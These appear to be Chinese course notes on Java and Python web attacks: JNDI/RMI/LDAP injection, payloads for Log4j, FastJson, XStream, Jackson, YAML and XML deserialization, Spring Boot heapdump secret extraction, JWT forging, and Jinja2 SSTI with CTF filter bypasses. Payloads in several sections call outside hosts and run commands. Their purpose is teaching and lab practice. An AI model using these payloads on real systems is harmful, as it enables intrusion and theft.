第37天:安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP服务中调用了InitialContext.lookup()的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
检测:
无黑盒思路
白盒看类函数名和可控变量
#Java安全-不安全组件-JSON&XML&验证&日志
-Log4j:
Apache的一个开源项目,是一个基于Java的日志记录框架。
历史漏洞:https://avd.aliyun.com/search?q=Log4j
-Shiro:
Java安全框架,能够用于身份验证、授权、加密和会话管理。
历史漏洞:https://avd.aliyun.com/search?q=Shiro
-Jackson:
当下流行的json解释器,主要负责处理Json的序列化和反序列化。
历史漏洞:https://avd.aliyun.com/search?q=Jackson
-XStream:
开源Java类库,能将对象序列化成XML或XML反序列化为对象
历史漏洞:https://avd.aliyun.com/search?q=XStream
-FastJson:
阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
历史漏洞:https://avd.aliyun.com/search?q=fastjson
-黑盒测试不安全组件漏洞:
见后续章节漏洞复现利用课程
-白盒审计不安全组件漏洞:
FastJson审计
1、看引用组件版本及实现
JSON.parse() JSON.parseObject()
2、找可控变量及访问实现
admin/product propertyJson
3、测试出网回显调用访问
{"@type":"java.net.Inet4Address","val":"atcuqbczqs.dnstunnel.run"}
Log4j审计
1、看引用组件版本及实现
logger.info logger.error
2、找可控变量及访问实现
admin/uploadAdminHeadImage originalFileName
3、测试出网回显调用访问
${jndi:ldap://jebqzwhwtn.dnstunnel.run}
${jndi:rmi://47.94.236.117:1099/l6v1wz}
不回显常见判断通用方法:
1、直接将执行结果写入到静态资源文件里,如html、js等,然后访问。
2、通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。
3、接将命令执行结果回显到请求Poc的HTTP响应中。
不回显常见判断细节方法:
例:https://mp.weixin.qq.com/s/qhLhgbNwocC07AN48eQ0sw


➢ Java安全-RCE执行-5大类函数调用
-Groovy




-RuntimeExec





-ProcessImpl




-ProcessBuilder




-ScriptEngineManager




➢ Java安全-JNDI注入-RMI&LDAP&高版本
37天的安全开发有讲过这个jndi的两个常见服务:
- LDAP(轻量级目录访问协议)
- RMI(远程方法调用)
可以用工具去生成命令,
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 8.135.236.28

➢ Java安全-不安全组件-JSON&XML&验证&日志
-Log4j:
Apache的一个开源项目,是一个基于Java的日志记录框架。
历史漏洞:https://avd.aliyun.com/search?q=Log4j
${jndi:${jndi:rmi://8.135.236.28:1099/9ayfut}}
调用计算器
用dnslog带外
工具:Yakit
-Shiro:
Java安全框架,能够用于身份验证、授权、加密和会话管理。
历史漏洞:https://avd.aliyun.com/search?q=Shiro
用户登录,选择记住

用利用工具输入url进行利用
源代码:

引用了shiro,版本:


特征:cookie里面有rememberme
-FastJson:
阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
历史漏洞:https://avd.aliyun.com/search?q=fastjson
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://8.135.236.28:1099/9ayfut","autoCommit":true}

这里也是jnid,json格式
源代码:

引入了fastjson库,并且变量可控,漏洞产生还需要关注版本
pom.xml:


-XStream:
开源Java类库,能将对象序列化成XML或XML反序列化为对象
历史漏洞:https://avd.aliyun.com/search?q=XStream
<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>
改calc

这个是xml格式,发现是xml格式就可以测试xstream
-Jackson:
当下流行的json解释器,主要负责处理Json的序列化和反序列化。
历史漏洞:https://avd.aliyun.com/search?q=Jackson
["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"rmi://8.135.236.28:1099/9ayfut","autoCommit":"true"}]

jnid,json格式


总结
shiro强特征
fastjson、jackson搜关键字
fastjson不出网
Tmall
maven:clean、install
数据库配置、安装
http://127.0.0.1:8088/tmall/

查看源代码
fastjson
先搜关键字,fastjson:JSON.parse()、JSON.parseObject()



去pox.xml查看是否引用fastjson

版本有漏洞,数据库得到后台密码admin/123456

访问目标路由admin/product,根据源代码是添加产品的时候有json,添加产品并抓包


这个propertyJson就是源代码里面要被转换的,测试带不带外
{"@type":"java.net.Inet4Address","val":"yi1b5n.dnslog.cn"}
yi1b5n.dnslog.cn是dnslog生成的

log4j
logger.error、logger.info

找又变量的

文件名接收,可控,并且也引用了log4j

路由:admin/uploadAdminHeadImage,直接访问是没有的,可以根据名字去找一下,上传管理员头像图片



测试带外,按理说是没问题的,然后用工具生成的命令实现计算器弹出

成功弹出,也接收到了信息

第68天:WEB攻防-Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE
#Java安全-反序列化-原生序列化类函数
序列化是将Java对象转换成字节流的过程。而反序列化是将字节流转换成Java对象的过程,java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码的特征为rO0AB,JAVA常见的序列化和反序列化的方法有JAVA 原生序列化和JSON 类(fastjson、jackson)序列化等。
0、黑盒发现(流量捕获)
0、白盒发现(特征类接口函数)
1、原生序列化类函数:
-SnakeYaml:完整的YAML1.1规范Processor,支持Java对象的序列化/反序列化
-XMLDecoder:xml语言格式序列化类函数接口
-ObjectInputStream.readObject():任何类如果想要序列化必须实现java.io.Serializable接口
2、利用项目:
-Yakit https://yaklang.com/
-https://github.com/frohoff/ysoserial
-https://github.com/NotSoSecure/SerializedPayloadGenerator
#Java安全-SpringBoot框架-泄漏&CVE
SpringBoot Actuator模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP跟踪等,帮助我们监控和管理Spring Boot应用。
0、检测清单:
https://github.com/LandGrey/SpringBootVulExploit
1、黑盒发现(人工识别,BP插件)
https://github.com/API-Security/APIKit
1、白盒发现(pom.xml,引用库)
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
#Actuator设置全部暴露
management.endpoints.web.exposure.include=*
2、泄漏安全(配置密码,AK/SK等)
https://github.com/whwlsfb/JDumpSpider
https://github.com/wyzxxz/heapdump_tool
3、漏洞安全(利用类,CVE漏洞等)
https://github.com/AabyssZG/SpringBoot-Scan
https://github.com/LandGrey/SpringBootVulExploit
➢ Java安全-反序列化-原生序列化类函数
ObjectInputStream.readObject()
靶场:

源代码:

readobject()
反序列化流,将序列化的原始数据恢复为对象
工具生成payload

反序列化漏洞利用需要 利用链(Gadget Chain),它由一系列类组成,这些类通常在第三方库中
如果目标 ClassPath 中没有对应的类,那么这条链就无法使用
所以,在生成 payload 之前,要先看目标应用依赖了哪些库,再选择可用的 Gadget


commons-collections:commons-collections:3.2.1commons-beanutils:commons-beanutils:1.8.3
commons-collections 版本是 3.2.1,这个版本是 存在 CommonsCollections1 ~ CommonsCollections7 等链的,但不同链对 CC 版本有要求,有些链需要 3.1,有些需要 3.2.1 或特定 transformer 类
尝试5


payload可以使用
假设库里面一个都没有就用urldns

有数据回显
XMLDecoder
源码:

readobject()
xml格式,读数据
payload:
<?xml version="1.0" encoding="UTF-8"?><java version="1.8.0_151" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start" /> </object></java>
SnakeYaml
描述:

源代码:

load()
payload:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://127.0.0.1:8000/upload/yaml-payload.jar']]]]
既然说了是加载远程文件,那么jndi的payload也是ok的
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2222/exp', autoCommit: true}
rmi://127.0.0.1:2222/exp就是工具生成的那个
读入是反序列化,写入是序列化
版本差异
既然payload用到了jndi就必须要遵守版本之间的差异,在哪些版本哪些可以用哪些不能用
➢ Java安全-SpringBoot框架-泄漏&CVE
靶场点击访问:

这个接口在安全开打的39天讲到过
如何检测到呢,使用工具:
https://github.com/AabyssZG/SpringBoot-Scan
https://github.com/LandGrey/SpringBootVulExploit
python SpringBoot-Scan.py -u http://127.0.0.1:8000/

红色就是有,查看env

搜password,这个就是一些配置信息,这是打码了
如果要知道那么就要一个heapdump文件,直接访问heapdump下载文件
利用工具:
https://github.com/whwlsfb/JDumpSpider
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump


如果想要自定义那么就可以用下面这个
https://github.com/wyzxxz/heapdump_tool
java -jar heapdump_tool.jar heapdump

SpringBootVul

然后利用工具JNDIExploit-1.3-SNAPSHOT在本地创建环境
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 127.0.0.1 -l 1389 -p 3456


检测当前利用链,选择检测出来的漏洞

利用成功后会写入冰蝎马,连接就拿下了
springboot判断
页面

图标

BP插件
https://github.com/API-Security/APIKit
这个只需要开启代理,抓到的包就会自动去分析有没有接口

#Actuator设置全部暴露
management.endpoints.web.exposure.include=*
配置里面:

案例
依旧安装:新建数据库、运行sql文件导入、数据库配置、maven的clean、install

账号密码:admin/123456

源码发现,搜关键字


配置文件:

全部放行,工具扫描

漏洞工具扫描查看是否能利用

没有,只能尝试使用heapdump文件


审计就是看那个配置文件actuator的设置
management.endpoints.web.exposure.include=*
第69天:WEB攻防-Java安全&JWT攻防&Swagger自动化&算法&签名&密匙&Druid泄漏
#Java安全-Druid监控-未授权访问&信息泄漏
参考:https://developer.aliyun.com/article/1260382
Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。当开发者配置不当时就可能造成未授权访问漏洞。
攻击点:
1、直接拼接URL路径,尝试能否直接未授权访问系统功能点。
2、结合泄露URL路径和Session信息,利用BurpSuite进行尝试登录。
3、利用Cookie编辑器替换Session,再次访问后台路径尝试进入后台。
#Java安全-Swagger接口-导入&联动批量测试
Swagger是一个用于生成、描述和调用RESTful接口的Web服务。就是将项目中所有(想要暴露的)接口展现在页面上,并可以进行接口调用和测试的服务。所以可以对这个接口进行漏洞测试,看是否存在未授权访问、sql注入、文件上传等漏洞。由于接口太多,一个个接口测试的话太费时间,所以一般会采用自动化接口漏洞安全测试。
1、自动化发包测试
Postman:https://github.com/hlmd/Postman-cn
2、自动化漏洞测试
联动BurpSuite Xray等
#Java安全-JWT令牌-空算法&未签名&密匙获取
JSON Web Token(JWT)。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。这使得JWT成为高度分布式网站的热门选择,在这些网站中,用户需要与多个后端服务器无缝交互。
-JWT识别
1、标头(Header)
Header是JWT的第一个部分,是一个JSON对象,主要声明了JWT的签名算法,如"HS256”、"RS256"等,以及其他可选参数,如"kid"、"jku"、"x5u"等
alg字段通常用于表示加密采用的算法。如"HS256"、"RS256"等
typ字段通常用于表示类型还有一些其他可选参数,如"kid"、"jku"、"x5u"等
2、有效载荷(Payload)
Payload是JWT的第二个部分,这是一个JSON对象,主要承载了各种声明并传递明文数据,用于存储用户的信息,如id、用户名、角色、令牌生成时间和其他自定义声明。
iss:该字段表示jwt的签发者。
sub:该jwt面向的用户。
aud:jwt的接收方。
exp:jwt的过期时间,通常来说是一个时间戳。
iat:jwt的签发时间,常来说是一个时间戳。
jti:此jwt的唯一标识。通常用于解决请求中的重放攻击。该字段在大多数地方没有被提及或使用。因为使用此字段就意味着必须要在服务器维护一张jti表, 当客户端携带jwt访问的时候需要在jti表中查找这个唯一标识是否被使用过。使用这种方式防止重放攻击似乎让jwt有点怪怪的感觉, 毕竟jwt所宣称的优点就是无状态访问
签名(Signature)
Signature是对Header和Payload进行签名,具体是用什么加密方式写在Header的alg 中。同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。
对Header和Payload进行签名,具体是用什么加密方式写在Header的alg中。
同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。
第一部分:对 JSON 的头部做 base64 编码处理得到
第二部分:对 JSON 类型的 payload 做 base64 编码处理得到
第三部分:分别对头部和载荷做base64编码,并使用.拼接起来
使用头部声明的加密方式,对base64编码前两部分合并的结果加盐加密处理,作为JWT
在线解析:https://jwt.io/
BURP插件:Hae 或 JSON Web Tokens
-JWT安全
1、空加密算法(攻击头部不使用加密)
签名算法可被修改为none,JWT支持将算法设定为"None"。如果"alg"字段设为"None",那么签名会被置空,这样任何token都是有效的。
2、未校验签名(攻击签名不使用签名认证)
某些服务端并未校验JWT签名,可以尝试修改payload后然后直接请求token或者直接删除signature再次请求查看其是否还有效。
3、暴力破解密钥(攻击签名知道密钥实现重组)
针对是对称加密算法(非对称没有用)
非对称要使用方法:获取源码或者公钥私钥文件
某些签名算法,例如HS256(HMAC+SHA-256),会像密码一样使用一个任意的、独立的字符串作为秘密密钥。这个秘钥如被轻易猜到或暴力破解,则攻击者能以任意的头部和载荷值来创建JWT,然后用密钥重新给令牌签名。
4、其他安全参考:(源码泄漏密匙,Kid注入等)
https://blog.csdn.net/weixin_44288604/article/details/128562796
-JWT利用
利用项目:https://github.com/ticarpi/jwt_tool
-Web345(None无签名认证)
-Web346(None算法绕过签名)
-Web347(弱口令密钥获取)
-Web348(爆破密钥上题一样)
# 使用None算法
python3 jwt_tool.py JWT_HERE -X a
# 自定义修改生成
python3 jwt_tool.py JWT_HERE -T
# 使用字典破解
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
# 指定密码测试
python3 jwt_tool.py JWT_HERE -C -p password_here
-Web349(公钥私钥泄露)
公钥私钥泄露,访问/private.key /public.key得到公钥密钥
服务器私钥生成jwt,利用公钥解密jwt,只要有私钥重新生成
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
-Web350(密钥混淆攻击RS256=>HS256)
将RS256算法改为HS256(非对称密码算法=>对称密码算法)
HS256算法使用密钥为所有消息进行签名和验证。
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。
var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
2、黑盒JWT测试
首先找到需要JWT鉴权后才能访问的页面,如个人资料页面,将该请求包重放测试:
1)未授权访问:删除Token后仍然可以正常响应对应页面
2)敏感信息泄露:通过JWt.io解密出Payload后查看其中是否包含敏感信息,如弱加密的密码等
3)破解密钥+越权访问:通过JWT.io解密出Payload部分内容,通过空加密算法或密钥爆破等方式实现重新签发Token并修改Payload部分内容,重放请求包,观察响应包是否能够越权查看其他用户资料
4)检查Token时效性:解密查看payload中是否有exp字段键值对(Token过期时间),等待过期时间后再次使用该Token发送请求,若正常应则存在Token不过期
5)通过页面回显进行探测:如修改Payload中键值对后页面报错信息是否存在注入,payload中kid字段的目录遍历问题与sql注入问题



➢ Java安全-Druid监控-未授权访问&信息泄漏
检测
黑盒就是直接方法Druid看有没有,有的话就有没有就没有了

账号密码admin/admin

白盒就是搜关键字druid


这里没有被注释所以刚才那个就需要登录,如果被注释了那么访问druid页面就直接进去了,不用登录
➢ Java安全-Swagger接口-导入&联动批量测试
Postman测试接口
java比较常见,直接访问:、

postman



导入页面的链接

运行集合


报错

点击变量

修改为:

再次运行,会发现大部分都不行

因为没登陆,之前直接在页面测试的话是因为登录了,在postman的话是没有的,查看请求头就可以发现

正常的请求头应该是:

Postman和burpsuite联动
Postman设置里面开启代理

和burpsuite里面的一样

这个时候postman运行之后数据包就会在burpsuite里面显示

BurpSuite和Xray联动
在bp里面找到network里面的Connection,然后add一个upstream proxy


然后xray运行:
.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output proxy_test.html
在postman运行之后就会有:

生成的html文件:

这三个工具之间就相当于是postman进行测试然后数据包发到了bp,bp的数据包再发到xray,xray进行自动化漏洞测试
➢ Java安全-JWT令牌-空算法&未签名&密匙提取
是什么
JSON Web Token(JWT)。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。这使得JWT成为高度分布式网站的热门选择,在这些网站中,用户需要与多个后端服务器无缝交互。
识别

每个部分之间用点来分割,看到前面两部分是eyj开头的一般就是jwt了
标头(Header)
Header是JWT的第一个部分,是一个JSON对象,主要声明了JWT的签名算法,如"HS256”、"RS256"等,以及其他可选参数,如"kid"、"jku"、"x5u"等
alg字段通常用于表示加密采用的算法。如"HS256"、"RS256"等
typ字段通常用于表示类型还有一些其他可选参数,如"kid"、"jku"、"x5u"等
有效载荷(Payload)
Payload是JWT的第二个部分,这是一个JSON对象,主要承载了各种声明并传递明文数据,用于存储用户的信息,如id、用户名、角色、令牌生成时间和其他自定义声明。
iss:该字段表示jwt的签发者。
sub:该jwt面向的用户。
aud:jwt的接收方。
exp:jwt的过期时间,通常来说是一个时间戳。
iat:jwt的签发时间,常来说是一个时间戳。
jti:此jwt的唯一标识。通常用于解决请求中的重放攻击。该字段在大多数地方没有被提及或使用。因为使用此字段就意味着必须要在服务器维护一张jti表, 当客户端携带jwt访问的时候需要在jti表中查找这个唯一标识是否被使用过。使用这种方式防止重放攻击似乎让jwt有点怪怪的感觉, 毕竟jwt所宣称的优点就是无状态访问
签名(Signature)
Signature是对Header和Payload进行签名,具体是用什么加密方式写在Header的alg 中。同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。
对Header和Payload进行签名,具体是用什么加密方式写在Header的alg中。
同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。
第一部分:对 JSON 的头部做 base64 编码处理得到
第二部分:对 JSON 类型的 payload 做 base64 编码处理得到
第三部分:分别对头部和载荷做base64编码,并使用.拼接起来
使用头部声明的加密方式,对base64编码前两部分合并的结果加盐加密处理,作为JWT
BP插件
三个

加上HaE

这些就是自动去匹配关键字什么的,有的话就标注特定的颜色

JWT数据,解密(jwt.io):


利用就是修改一些username或者id然后发包尝试是否能登录其他账号
利用
空加密算法(攻击头部不使用加密)
签名算法可被修改为none,JWT支持将算法设定为"None"。如果"alg"字段设为"None",那么签名会被置空,这样任何token都是有效的。

加密算法
第一种情况:目标服务器有正常的加解密算法
- 核心原理:JWT的签名(Signature)部分是由头部(Header)、载荷(Payload)和密钥(Secret)通过指定的算法(如HS256、RS256)计算得出的。这个签名用于验证令牌的完整性和来源可信度。
- 攻击限制:如果你在流量中只修改了Payload(例如将用户名从
user改为admin),但没有使用正确的密钥重新生成签名,那么当你将篡改后的JWT发送给服务器时,服务器会用它持有的正确密钥重新计算签名。由于你提供的签名与服务器计算出的新签名不匹配,服务器会立即判定令牌无效,拒绝请求。 - 结论:在这种情况下,单纯修改Payload是行不通的。
第二种情况:算法为None
- 核心原理:JWT规范允许
alg字段设置为none,表示“无签名算法”。这意味着JWT的签名部分为空。这种设计本意是用于不需要验证完整性的场景,但这显然是一个巨大的安全风险。 - 攻击方法:
- 攻击者截获或获得一个有效的JWT。
- 将头部中的
alg字段修改为"none"。 - 修改Payload部分(例如提升权限)。
- 将签名部分(Signature)直接移除或设置为空字符串。
- 漏洞成因:如果服务器端的JWT验证库配置不当或有缺陷,它可能会信任客户端声称的
alg值。当它看到alg: none时,就会跳过签名验证,直接解析和使用Payload中的数据。 - 结论:在这种情况下,攻击者可以任意修改Payload内容,因为没有任何签名机制来阻止这种篡改。
利用
在一些NONE的情况下面直接拿去解密网站修改之后不会生成对应的加密的值
bp发送到decoder进行base64解密,之后把想要修改的数据改了再去加密
未校验签名(攻击签名不使用签名认证)
修改为NONE
jwt-tools
python3 jwt_tool.py JWT数据 -T
-T就是自定义修改,后面就按照提示修改想修改的内容,把alg改成none,记得发包的时候签名要删掉
或者直接用bp插件JSON Web Tokens去改
暴力破解密钥(攻击签名知道密钥实现重组)
对称加密
使用工具jwt-tools
python3 jwt_tool.py JWT数据 -C -d 字典
得到密钥之后再去利用密钥进行修改得到加密的值
这个暴力破解有条件,就是只有对称加密才能爆破,非对称不能爆破,因为对称加密是同一个密钥,非对称分为公钥和私钥
非对称加密有密钥
非对称要使用方法:获取源码或者公钥私钥文件
哪个用来加密的,就下载哪个密钥,用密钥去加密想要修改的数据然后发包
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
运行脚本来加密(需要安装JWT和PyJWT库)
非对称加密没有密钥
某些签名算法,例如HS256(HMAC+SHA-256),会像密码一样使用一个任意的、独立的字符串作为秘密密钥。这个秘钥如被轻易猜到或暴力破解,则攻击者能以任意的头部和载荷值来创建JWT,然后用密钥重新给令牌签名。
RSA直接改成HS256,然后用找到的密钥去加密
var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
第70天:WEB攻防-Python安全&SSTI模版注入&Jinja2引擎&利用绕过项目&黑盒检测
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性
__mro__ method resolution order,即解析方法调用的顺序;此属性是由类组成的元 组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且get_flashed_messages.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
演示案例:
➢ Python-SSTI注入-类型&形成&利用&项目
1、什么是SSTI
SSTI(Server Side Template Injection,服务器端模板注入)
服务端接收攻击者的输入,将其作为Web应用模板内容的一部分
在进行目标编译渲染的过程中,进行了语句的拼接,执行了所插入的恶意内容
从而导致信息泄露、代码执行、GetShell等问题,其影响范围取决于模版引擎复杂性,
注意:模板引擎和渲染函数本身是没有漏洞的,该漏洞产生原因在于模板可控引发代码注入
2、各语言框架SSTI
PHP:smarty、twig
Python:jinja2、mako、tornad、Django
java:Thymeleaf、jade、velocity、FreeMarker
其他:https://github.com/Pav-ksd-pl/websitesVulnerableToSSTI
3、Python-SSTI形成
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', default='xiaodi')
t = '''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
# 将一段字符串作为模板进行渲染
return render_template_string(t)
app.run()
4、Python-SSTI利用
判断利用
1、看那些类可用
{{''.__class__.__base__.__subclasses__()}}
2、找利用类索引
<class 'os._wrap_close'>
3、找利用类方法
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__}}
4、构造利用类方法
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__.popen('calc')}}
其他:
{{[].__class__.__base__.__subclasses__()}}
{{[].__class__.__base__.__subclasses__()[133].__init__.__globals__}}
{{[].__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('calc')}}
其他引用:
config:{{config.__class__.__init__.__globals__['os'].popen('calc')}}
url_for:{{url_for.__globals__.os.popen('calc')}}
lipsum:{{lipsum.__globals__['os'].popen('calc')}}
get_flashed_messages:{{get_flashed_messages.__globals__['os'].popen('calc')}}
绕过限制-CtfShow项目
参考:
https://www.cnblogs.com/tuzkizki/p/15394415.html
https://blog.csdn.net/m0_74456293/article/details/129429424
Web 361 无过滤
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('cat /flag').read()}}
Web 362 过滤数字2 3
?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
Web 363 过滤单引号
?name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag
Web 364 过滤单引号+args
?name={{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag
Web 365 过滤了中括号
?name={{url_for.__globals__.os.popen(request.values.c).read()}}&c=cat /flag
Web 366 过滤了下划线
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
5、Python-SSTI项目
黑盒中建议判断利用:
https://github.com/epinna/tplmap
https://github.com/vladko312/SSTImap
python的ssti
代码:
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', default='xiaodi')
t = '''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
# 将一段字符串作为模板进行渲染
return render_template_string(t)
app.run()
在页面中传入参数name时,如果加了{{}},在花括号里面的内容将会被解析,比如2*3输入在花括号里面,页面会显示6
不同的模板有不同的模板引擎符号

SSTI利用
查看哪些可以利用
''.__class__.__base__.__subclasses__()

在加上{{}}在页面就会显示
os函数:

在139行,索引从0开始,这里的就是138(注意这个不是固定的,在利用的时候都需要先去看在哪里再去利用),获取os的所有信息:
''.__class__.__base__.__subclasses__()[138].__init__.__globals__


popen在里面:

这个可以打开系统程序,比如计算器

构造利用类方法:
''.__class__.__base__.__subclasses__()[138].__init__.__globals__.popen('calc')
- 索引134对应
<class 'os._wrap_close'> - 这个类是
os模块内部使用的类 - 通过它的
__init__.__globals__可以访问os模块的全局命名空间 - 从而调用
os.popen('calc')启动计算器
数组写法:
{{[].__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('calc')}}
其他方式:
config:{{config.__class__.__init__.__globals__['os'].popen('calc')}}
url_for:{{url_for.__globals__.os.popen('calc')}}
lipsum:{{lipsum.__globals__['os'].popen('calc')}}
get_flashed_messages:{{get_flashed_messages.__globals__['os'].popen('calc')}}
CTFshow
Web 361 无过滤
没有过滤,先看有没有ssti,然后看os的索引,再去使用popen
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('cat /flag').read()}}
要加上.read()才有回显
Web 362 过滤数字2 3
有ssti,但是直接用之前的payload发现不行,尝试用{{2*3}}发现2和3被过滤,那么直接用config,因为这个不用写索引
?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
Web 363 过滤单引号
尝试过有ssti之后去获取类发现单引号被过滤(''.__class__.__base__.__subclasses__()),这里采用request.args.x1的get传参,有单引号的地方就传参
?name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag
Web 364 过滤单引号+args
args被过滤就用所有参数request.values.x1
?name={{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag
Web 365 过滤了中括号
单引号和中括号都被过滤了
?name={{url_for.__globals__.os.popen(request.values.c).read()}}&c=cat /flag
Web 366 过滤了下划线
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
工具利用
tplmap
https://github.com/epinna/tplmap
使用:
python2 tplmap.py -u 目标url
url后面要加上参数,并且等于*

根据返回的内容可知加上参数--os-shell就会直接拿下shell

SSTImap
https://github.com/vladko312/SSTImap
使用:
python sstimap.py -u 目标url
类似tplmap,但是这个更好用
示例:sstimap.py -u "http://example.com/page?name=test"
POST:
sstimap.py -u "http://example.com/login" --data 'username=test&password=test'
Cookie:
